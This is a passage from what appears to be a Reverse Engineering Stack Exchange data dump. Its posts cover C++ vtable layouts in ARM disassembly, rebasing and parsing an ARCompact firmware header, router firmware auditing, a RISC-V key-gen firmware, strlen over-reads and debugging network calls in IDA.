 0x82016B78&#xA;vtable_derived:&#xA;    dcd  0x8201691C          ;dtor_2&#xA;    dcd  0x820168D8          ;dtor_2 (destruct and free)&#xA;    dcd  0x82016BF8&#xA;    dcd  0x8201686C&#xA;    dcd  0x8201682C&#xA;    dcd  0x820167F8&#xA;    dcd  0x820167C4&#xA;vtable_derived2:&#xA;    dcd  0x82016364          ;dtor_3&#xA;    dcd  0x82016320          ;dtor_3 (destruct and free)&#xA;    dcd  0x82016BF8&#xA;    dcd  0x8201686C&#xA;    dcd  0x8201682C&#xA;    dcd  0x820167F8&#xA;    dcd  0x820167C4&#xA;vtable_base_so:&#xA;    dcd  0x82015CE8          ;dtor_base_so&#xA;    dcd  0x82015CC4          ;dtor_base_so (destruct and free)&#xA;vtable_derived_so:&#xA;    dcd  0x82017178          ;dtor_derived_so&#xA;    dcd  0x82017168          ;dtor_derived_so (destruct and free)&#xA;vtable_derived2_so:&#xA;    dcd  0x820171B8          ;dtor_derived2_so&#xA;    dcd  0x820171A8          ;dtor_derived2_so (destruct and free)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30199" LastEditorUserId="30199" LastEditDate="2019-11-18T19:38:10.193" LastActivityDate="2019-11-20T12:34:01.043" Title="Strange vtable setup in constructor disassembly" Tags="|disassembly|assembly|c++|arm|vtables|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22554" PostTypeId="2" ParentId="22553" CreationDate="2019-11-16T19:03:52.637" Score="1" Body="&lt;p&gt;You have here multiple inheritance where both base classes have virtual destructors. The pattern you see in &lt;code&gt;dtor_derived_so&lt;/code&gt; is a so-called &quot;non-virtual thunk&quot;, which adjusts &lt;code&gt;this&lt;/code&gt; before calling the whole class destructor. Normally you should also see &lt;code&gt;0xFFFFFFE0&lt;/code&gt; (offset to base) in the second dword before the secondary vtables. I was able to produce code and vtable layout very similar to your example with the following source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class A&#xA;{&#xA;  int a, b, c, d;&#xA;public:&#xA;  A() {};&#xA;  virtual ~A() {};&#xA;  virtual int f1() { return 0;};&#xA;};&#xA;&#xA;class B&#xA;{&#xA;  int x;&#xA;public:&#xA;  virtual ~B() {};&#xA;};&#xA;&#xA;&#xA;class C: public A, B&#xA;{&#xA;public:&#xA;  virtual int f1() { return 2;};&#xA;};&#xA;&#xA;class D: public C&#xA;{&#xA;public:&#xA;  virtual int f1() { return 3;};&#xA;};&#xA;&#xA;&#xA;int main()&#xA;{&#xA; D d;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more info, see the &lt;a href=&quot;https://itanium-cxx-abi.github.io/cxx-abi/abi.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Itanium C++ ABI&lt;/a&gt;, in particular &lt;em&gt;2.5 Virtual Table Layout&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-11-20T12:06:58.843" LastActivityDate="2019-11-20T12:06:58.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22555" PostTypeId="2" ParentId="22552" CreationDate="2019-11-16T19:40:04.807" Score="0" Body="&lt;p&gt;I don't think this is available from the UI, but there are APIs you can use to enumerate trace log records, e.g. see &lt;code&gt;tracing_api&lt;/code&gt; plugin sample in the SDK. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-16T19:40:04.807" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22556" PostTypeId="2" ParentId="22549" CreationDate="2019-11-16T21:22:37.563" Score="3" Body="&lt;p&gt;The binary is not a single monolithic block. I figured out the structure but it took a few false starts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I loaded the Binary into IDA starting from offset 0x200 as you hinted. The functions were disassembled okay but the data references were mostly off. So I looked at the strings to see if there may be some candidates for a string table. This bunch looked promising:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:0030D8F3 aLanguageZoneAl:.ascii &quot;LANGUAGE ZONE : ALL&quot;&#xA;ROM:0030D8F3                 .byte 0&#xA;ROM:0030D907 aLanguageZoneJp:.ascii &quot;LANGUAGE ZONE : JP&quot;&#xA;ROM:0030D907                 .byte 0&#xA;ROM:0030D91A aLanguageZoneUs:.ascii &quot;LANGUAGE ZONE : US&quot;&#xA;ROM:0030D91A                 .byte 0&#xA;ROM:0030D92D aLanguageZoneEu:.ascii &quot;LANGUAGE ZONE : EU&quot;&#xA;ROM:0030D92D                 .byte 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the proper way would be to write a script that would scan the database for a dword array with values having the same difference as string addresses. However, I was lazy so I though to myself, &quot;The image base/shift value is likely a multiple of 0x100, so the last byte of the address will be the same, i.e. I need to look for a table like&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.. .. .. F3&#xA;.. .. .. 07&#xA;.. .. .. 1A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be easily done via &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/579.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary search&lt;/a&gt; with the pattern &quot;F3 ? ? ? 07 ? ? ? 1A&quot; (without quotes; '?' denotes a wildcard byte). There was only one hit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:001A8DC4   .long unk_35A0F3&#xA;ROM:001A8DC8   .long unk_35A107&#xA;ROM:001A8DCC   .long unk_35A11A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if the first string should be at 35A0F3, we need to rebase the binary by 0x35A0F3-0x30D8F3 = 0x4C800 bytes. This can be done via Edit-Segment-Rebase program..., Shift delta. Once done, our table is nicely displayed, and additional strings line up too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:001F55C4   .long aLanguageZoneAl   # &quot;LANGUAGE ZONE : ALL&quot;&#xA;ROM:001F55C8   .long aLanguageZoneJp   # &quot;LANGUAGE ZONE : JP&quot;&#xA;ROM:001F55CC   .long aLanguageZoneUs   # &quot;LANGUAGE ZONE : US&quot;&#xA;ROM:001F55D0   .long aLanguageZoneEu   # &quot;LANGUAGE ZONE : EU&quot;&#xA;ROM:001F55D4   .long aLanguageZoneEg   # &quot;LANGUAGE ZONE : EG&quot;&#xA;ROM:001F55D8   .long aLanguageZoneEe   # &quot;LANGUAGE ZONE : EE&quot;&#xA;ROM:001F55DC   .long aLanguageZoneE1   # &quot;LANGUAGE ZONE : E1&quot;&#xA;ROM:001F55E0   .long aLanguageZoneCh   # &quot;LANGUAGE ZONE : CH&quot;&#xA;ROM:001F55E4   .long aLanguageZoneUn   # &quot;LANGUAGE ZONE : Unknown&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this makes the code start at 4C800 and there is no such value in the image header which made me suspicious it's not the full picture. So I decided to look for code which parses the headers. A good start for this is looking for magic values (like header signatures).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for 52 48 49 52 (&quot;RHIR&quot;) did not give any hits (neither did the byte-swapped version). However, I remembered that ARCompact uses a peculiar way of encoding 32-bit immediates (aka &quot;long immediates&quot;): they are stored in &lt;em&gt;mixed endian&lt;/em&gt; form (high word followed by low word). Searching for 49 52 52 48, I got one hit and after backing up to find the function start I got the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:0018538E sub_18538E:&#xA;ROM:0018538E&#xA;ROM:0018538E var_4= -4&#xA;ROM:0018538E&#xA;ROM:0018538E     st.a    fp, [sp,var_4]&#xA;ROM:00185392     mov     fp, sp&#xA;ROM:00185396     sub     sp, sp, 4&#xA;ROM:00185398     mov     r18, r0&#xA;ROM:0018539A     mov     r16, r1&#xA;ROM:0018539C     sub     r1, fp, 4&#xA;ROM:001853A0     mov     r0, 6&#xA;ROM:001853A2     bl      sub_6CC44&#xA;ROM:001853A6     ld      r0, [fp,var_4]&#xA;ROM:001853AA     cmp     r0, r16&#xA;ROM:001853AC     bhs     loc_1853B2&#xA;ROM:001853AE     ld      r0, =0x1C00114&#xA;ROM:001853B0     b       loc_18541E&#xA;ROM:001853B2 # ---------------------------&#xA;ROM:001853B2&#xA;ROM:001853B2 loc_1853B2:                  &#xA;ROM:001853B2     ld      r0, [r18]&#xA;ROM:001853B6     mov     r13, r18&#xA;ROM:001853B8     mov     r17, r18&#xA;ROM:001853BC     cmp     r0, 0x52494852&#xA;ROM:001853C2     bne     loc_1853D8&#xA;ROM:001853C4     ld      r0, [r17,8]&#xA;ROM:001853C8     and     r20, r0, 0xFFFF00&#xA;ROM:001853D0     bl      sub_50814&#xA;ROM:001853D4     cmp     r0, r20&#xA;ROM:001853D6     beq     loc_1853DC&#xA;ROM:001853D8&#xA;ROM:001853D8 loc_1853D8:                  &#xA;ROM:001853D8     ld      r0, =0x1C00111&#xA;ROM:001853DA     b       loc_18541E&#xA;ROM:001853DC # ---------------------------&#xA;ROM:001853DC&#xA;ROM:001853DC loc_1853DC:                  &#xA;ROM:001853DC     add     r13, r13, 0x10&#xA;ROM:001853DE     mov     r15, 0&#xA;ROM:001853E0&#xA;ROM:001853E0 loc_1853E0:                  &#xA;ROM:001853E0     ldb     r0, [r17,6]&#xA;ROM:001853E4     cmp     r15, r0&#xA;ROM:001853E6     bge     loc_18541C&#xA;ROM:001853EA     ldw     r0, [r13]&#xA;ROM:001853EC     mov     r14, r13&#xA;ROM:001853EE     cmp     r0, 1&#xA;ROM:001853F0     bne     loc_185416&#xA;ROM:001853F2     ldw     r1, [r14,4]&#xA;ROM:001853F4     ldw     r2, [r14,6]&#xA;ROM:001853F6     asl     r1, r1, 9&#xA;ROM:001853F8     asl     r2, r2, 9&#xA;ROM:001853FA     mov     r19, r1&#xA;ROM:001853FC     add     r0, r1, r18&#xA;ROM:00185400     st      r2, [fp,var_4]&#xA;ROM:00185404     mov     r1, r2&#xA;ROM:00185406     bl      sub_24C9A4&#xA;ROM:0018540A     ld      r1, [r14,0xC]&#xA;ROM:0018540C     cmp     r0, r1&#xA;ROM:0018540E     beq     loc_185414&#xA;ROM:00185410     ld      r0, =0x1C00111&#xA;ROM:00185412     b       loc_18541E&#xA;ROM:00185414 # ---------------------------&#xA;ROM:00185414&#xA;ROM:00185414 loc_185414:                  &#xA;ROM:00185414     add     r13, r13, 0x10&#xA;ROM:00185416&#xA;ROM:00185416 loc_185416:                  &#xA;ROM:00185416     add     r15, r15, 1&#xA;ROM:00185418     sexw    r15, r15&#xA;ROM:0018541A     b       loc_1853E0&#xA;ROM:0018541C # ---------------------------&#xA;ROM:0018541C&#xA;ROM:0018541C loc_18541C:                  &#xA;ROM:0018541C     mov     r0, 0&#xA;ROM:0018541E&#xA;ROM:0018541E loc_18541E:                  &#xA;ROM:0018541E                              &#xA;ROM:0018541E     mov     sp, fp&#xA;ROM:00185422     ld.ab   fp, [sp,8+var_4]&#xA;ROM:00185426     b       __ac_pop_13_to_20&#xA;ROM:00185426 # End of function sub_18538E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can clearly see the check against &lt;code&gt;0x52494852&lt;/code&gt; (or &quot;RHIR&quot;), so it seems &lt;code&gt;r18&lt;/code&gt; points to the start of the header. After some reversing the header structure seems to be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct ImageHeader&#xA;{&#xA;/* 00 */  uint32_t Signature;&#xA;/* 04 */  uint8_t unk4[2];&#xA;/* 06 */  uint8_t nblocks;&#xA;/* 07 */  uint8_t unk7[1];&#xA;/* 08 */  uint32_t platform;&#xA;/* 0C */  uint32_t unkC;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;followed by an array  of blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct ImageBlock&#xA;{&#xA;/* 00 */    uint16_t type;&#xA;/* 02 */    uint8_t pad2[2];&#xA;/* 04 */    uint16_t start;&#xA;/* 06 */    uint16_t size;&#xA;/* 08 */    uint32_t unk8;&#xA;/* 0C */    uint32_t checksum;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code is checking for blocks of type==1, for which it uses &lt;code&gt;start&amp;lt;&amp;lt;9&lt;/code&gt; as an offset from the header start and &lt;code&gt;size&amp;lt;&amp;lt;9&lt;/code&gt; as the size of the block to calculate the checksum and compare against &lt;code&gt;checksum&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a &lt;a href=&quot;https://gist.github.com/skochinsky/3b9f16ecf33f9906fdaebe8a356a09da&quot; rel=&quot;nofollow noreferrer&quot;&gt;quick script&lt;/a&gt; to parse and print the header and here's the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unk4: 00001001&#xA;blocks: 7&#xA;platform: 00050600&#xA;unkC: 01A40001&#xA;block 0 type: 1&#xA;  offset: 1 (200)&#xA;  size: 14dc (29b800)&#xA;  unk8: 00048000&#xA;  checksum: A1AA045A&#xA;block 1 type: 1&#xA;  offset: 14dd (29ba00)&#xA;  size: 731 (e6200)&#xA;  unk8: 002E8000&#xA;  checksum: 917C608A&#xA;block 2 type: 0&#xA;  offset: 1c0e (381c00)&#xA;  size: 54c (a9800)&#xA;  unk8: 00430000&#xA;  checksum: EA1137CD&#xA;block 3 type: 1&#xA;  offset: 215a (42b400)&#xA;  size: 21 (4200)&#xA;  unk8: 004DA000&#xA;  checksum: 8AE264F9&#xA;block 4 type: 0&#xA;  offset: 217b (42f600)&#xA;  size: 2a6 (54c00)&#xA;  unk8: 004DA000&#xA;  checksum: 8606D33F&#xA;block 5 type: 0&#xA;  offset: 2422 (484400)&#xA;  size: 34 (6800)&#xA;  unk8: 004DA000&#xA;  checksum: 802A3C3B&#xA;block 6 type: 2&#xA;  offset: b420 (1684000)&#xA;  size: 4 (800)&#xA;  unk8: 00000000&#xA;  checksum: 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems we have these chunks :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# type offset   size  unk8&#xA;------------------------------&#xA;0 1    200     29b800 00048000&#xA;1 1    29ba00   e6200 002E8000&#xA;2 0    381c00   a9800 00430000&#xA;3 1    42b400    4200 004DA000&#xA;4 0    42f600   54c00 004DA000&#xA;5 0    484400    6800 004DA000&#xA;6 2    1684000    800 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unk8 looks very much like a memory address, and indeed if we check the string &quot;LANGUAGE ZONE : ALL&quot; which is at 30DAF3 in the file, this corresponds to chunk #1 and is at the same offset from its start (720F3) as our string in database(0035A0F3) from the hypothetical memory address 002E8000. After splitting the loaded data according to the table and moving chunks of type 1 to the correct addresses, I've got this layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CHUNK0  00048000 002E3800 &#xA;CHUNK1  002E8000 003CE200 &#xA;CHUNK3  004DA000 004DE200   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-11-17T13:07:14.607" LastActivityDate="2019-11-17T13:07:14.607" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22557" PostTypeId="1" AcceptedAnswerId="22567" CreationDate="2019-11-16T23:54:22.790" Score="0" ViewCount="378" Body="&lt;p&gt;I'm pretty new to the whole reverse-engineering thing, but have some background knowledge in x86 asm and comp sci, as well as computer security.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Project-based learning has always worked well for me, so I'm trying to audit a mipsel router.  I've done the higher-level stuff such as vulnerable services, bad configurations, etc., but am trying to learn reverse engineering and exploitation.  I've been using Ghidra to disassemble and decompile the firmware, as it seemed to be by far the best in terms of decompilation for this architecture.  I'm mostly new to reverse engineering, and am struggling to find any possible vulnerabilities in the cgi-bin web interface.  I know this is a bit of a specialized area, so I'm looking for resources, but am struggling to find a ton on this specific domain.  Any resources on for which functions I should look, specific patterns that present issues, etc.?  I've got some obvious guesses (e.g. memcpy), but can't find much of a formal reference.  Devttys0 blog has been helpful (for instance this post: &lt;a href=&quot;http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/&lt;/a&gt;), but there doesn't seem to be a ton of info on how to find the vulnerable functions.  There are lots of nice analysis plugins for x86 and even arm, but mips doesn't have as much fancy tooling.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated; apologies if I didn't provide enough information, I will be happy to add more as needed.  Please let me know if you have thoughts, resources, or advice I can consult.  I appreciate your time.  &lt;/p&gt;&#xA;" OwnerUserId="30202" LastActivityDate="2019-11-18T03:29:03.213" Title="MIPS Router Firmware" Tags="|embedded|mips|ghidra|vulnerability-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22558" PostTypeId="1" CreationDate="2019-11-17T02:13:51.133" Score="1" ViewCount="657" Body="&lt;p&gt;I would like to study this firmware for &lt;a href=&quot;https://www.seeedstudio.com/sipeed&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sipeed MAix&lt;/a&gt;, a RISC-V development board. You can download it here: &lt;a href=&quot;https://bbs.sipeed.com/uploads/default/original/1X/bca0832bed92a1ada63bd05327688784e2ef14d1.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;key_gen_v1.2.zip&lt;/code&gt;&lt;/a&gt;. As the name suggests, its purpose is to&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;calculate and print a &quot;machine key&quot; to the serial port,&lt;/li&gt;&#xA;&lt;li&gt;close JTAG port forever, and&lt;/li&gt;&#xA;&lt;li&gt;write one-off AES key.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The machine key is required when downloading &lt;a href=&quot;https://www.maixhub.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;other demo firmware&lt;/a&gt;, reversing which is NOT the primary target of this post. For more context, see &lt;a href=&quot;https://bbs.sipeed.com/t/topic/845&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt;. The point of the reversing is to figure out how to get the machine key without disabling JTAG permanently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick analysis by &lt;code&gt;binwalk&lt;/code&gt; yields nothing interesting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -e key_gen_v1.2.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Entropy analysis suggests that the firmware uses no obfuscation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JN3lP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JN3lP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the output of &lt;code&gt;strings&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sP00sP 0sP@0sP@4&#xA;&amp;amp;#41'#0A'#&amp;lt;Q%#8a%#4q%#0&#xA;$#8A##4Q##0a##8&#xA;&quot;#0!##&amp;lt;1!#8A!#&amp;lt;&#xA;$#8A##4Q##0a##8&#xA;                0000000000000000&#xA;0123456789abcdef&#xA;0123456789ABCDEF&#xA;                0000000000000000&#xA;                0000000000000000C&#xA;                0000000000000000&#xA;         (((((&#xA;V (%lu) %s: misaligned load recovered at %08lx. len:%02d,addr:%08lx,reg:%02d,data:%016lx,signed:%1d,float:%1d&#xA;V (%lu) %s: misaligned store recovered at %08lx. len:%02d,addr:%08lx,reg:%02d,data:%016lx,float:%1d&#xA;[0;31mE (%lu) %s: Out of memory&#xA;[0;33mW (%lu) %s: sys_exit called by core %ld with 0x%lx&#xA;[0;31mE (%lu) %s: Unsupported syscall %ld: a0=%lx, a1=%lx, a2=%lx!&#xA;?Error:  No workable settings found.&#xA;Error:  No appropriate ratio found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://www.devttys0.com/2014/02/reversing-the-wrt120n-firmware-obfuscation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reversing the WRT120N’s Firmware Obfuscation&lt;/a&gt;, the breakthrough was made by observing the output on the serial port. However, this particular firmware doesn't output much useful information to the serial port. In addition, I have yet find a decent disassembler for RISC-V (like IDA for ARM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do next?&lt;/p&gt;&#xA;" OwnerUserId="26162" LastEditorUserId="26162" LastEditDate="2019-11-17T15:57:14.683" LastActivityDate="2020-01-07T22:13:20.697" Title="Reversing a key-gen firmware for RISC-V" Tags="|binary-analysis|firmware|hardware|deobfuscation|embedded|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22559" PostTypeId="1" AcceptedAnswerId="22560" CreationDate="2019-11-17T05:41:30.603" Score="0" ViewCount="699" Body="&lt;p&gt;My question is related to the &lt;code&gt;strlen&lt;/code&gt; function from the C and C++. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am reversing a program, that reads a byte data from allocated memory and sends to the &lt;code&gt;strlen&lt;/code&gt; directly. To be completely honest this data is the hash value, so bytes could vary from 00 to FF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found out that I can abuse this function with zero bytes to make &lt;code&gt;strlen&lt;/code&gt; outputting less value than it should (as an example the string is 10 bytes long, but &lt;code&gt;strlen&lt;/code&gt; output is 6). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to abuse the function with any byte data inputted to &lt;code&gt;strlen&lt;/code&gt; to output a bigger value(lets say 14)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="30203" LastActivityDate="2019-11-17T10:31:47.143" Title="Abusing the strlen output" Tags="|disassembly|c++|c|exploit|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22560" PostTypeId="2" ParentId="22559" CreationDate="2019-11-17T10:31:47.143" Score="0" Body="&lt;p&gt;Yes, if the input is not 0-terminated. If that's the case, &lt;code&gt;strlen&lt;/code&gt; will happily continue counting bytes until it finds one, moving out of the input's bounds. It then depends on how clean the memory is where the input is allocated.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-11-17T10:31:47.143" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22561" PostTypeId="1" CreationDate="2019-11-17T12:55:45.577" Score="0" ViewCount="172" Body="&lt;p&gt;When I debug exe file with Ida I want to put breakpoint before the exe file send tcp packet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I listen with procmon I can see that this exe send and recive tcp packet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)  I look on the exe file import tab, and put break point at &lt;code&gt;send&lt;/code&gt; function , but that not stop .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)  I looking at the line at procmon when I see &lt;code&gt;tcp send&lt;/code&gt; in stack tab , and see &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;frame 0 ,module ntoskml.exe  , Location CcMdlWriteAbout + 0x....&lt;/code&gt;&#xA;&lt;code&gt;frame 1 ,module tcpip.sys , Location tcpip.sys + 0x....&lt;/code&gt;&#xA;&lt;code&gt;frame 2 ,module tcpip.sys , Location tcpip.sys + 0x....&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find the punction in exe file that send tcp packet , I want to put break point there .&lt;/p&gt;&#xA;" OwnerUserId="30111" LastActivityDate="2023-12-23T15:04:55.567" Title="Break when exe send tcp packet" Tags="|ida|dynamic-analysis|networking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22562" PostTypeId="2" ParentId="22547" CreationDate="2019-11-17T13:00:29.893" Score="2" Body="&lt;p&gt;Android uses a &lt;a href=&quot;https://en.wikipedia.org/wiki/Bionic_%28software%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bionic&lt;/a&gt; libc implementation as opposed to the more common glibc in most Linux distros. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that most android files are not compatible and won’t run on Linux even if the processor architecture is the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory it should be possible to compile Bionic for standard Linux and I think there was a project for that but I can’t find it right now... besides the program likely relies on Android specific environment details and probably won’t run well on Linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you to either use an Android emulator or RE the file statically. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-17T13:00:29.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22563" PostTypeId="2" ParentId="22561" CreationDate="2019-11-17T13:06:06.567" Score="0" Body="&lt;p&gt;If you can  see the send event in ProcMon, just double click it and check the Stack tab to see what API the program used to perform it. Note that the stack trace usually includes the kernel part; you’ll need to skip it and look at the user-mode calls (skip the system libraries too except the one called directly by the process).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-17T13:06:06.567" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22564" PostTypeId="1" CreationDate="2019-11-17T19:50:33.240" Score="0" ViewCount="2304" Body="&lt;p&gt;&lt;em&gt;Note: I only want to edit/mod the games not trying to steal things etc.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm trying to deconstruct some Unity games from both PC and Android platforms and already extracted assets with uTinyRipper successfully, but having the some issues at the script part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What exactly should i do to export scripts correctly from a compiled Unity game to editor?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Firstly&lt;/strong&gt; I deobfuscate everything in data\managed with de4dot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Secondly&lt;/strong&gt; I extract the code from these .dlls with dnSpy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then&lt;/strong&gt; I import all the .cs files to Unity editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After that&lt;/strong&gt;, Unity gives hundreds/thousands of errors, when i fix all of them, it gives another hundreds of errors. So it doesn't stop giving more errors.&lt;/p&gt;&#xA;" OwnerUserId="30205" LastEditorUserId="60" LastEditDate="2019-11-18T11:59:50.217" LastActivityDate="2019-11-18T11:59:50.217" Title="Deconstructing Unity games" Tags="|decompilation|game-hacking|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22565" PostTypeId="1" AcceptedAnswerId="22566" CreationDate="2019-11-17T23:05:09.743" Score="0" ViewCount="79" Body="&lt;p&gt;I'm trying to assemble this instruction:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l2Fy4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l2Fy4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm not being able to do it..&lt;/p&gt;&#xA;&lt;p&gt;When I test with MOV AX,55000 I get this error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6K4dR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6K4dR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tested before in Cheat Engine, and this is working as AOB injection: MOV AX,#55000&lt;/p&gt;&#xA;&lt;p&gt;So if I test with the same syntax, ollydbg can't recognize it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lwqIz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lwqIz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I don't know how to assemble that instruction correctly:&lt;/p&gt;&#xA;&lt;p&gt;MOV AX,55000 instead of MOV AX,WORD PTR DS:[EBX+A4]&lt;/p&gt;&#xA;&lt;p&gt;In Cheat Engine it's working perfectly.&lt;/p&gt;&#xA;" OwnerUserId="30207" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-11-18T03:02:17.973" Title="OllyDbg: Constant does not fit into operand" Tags="|assembly|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
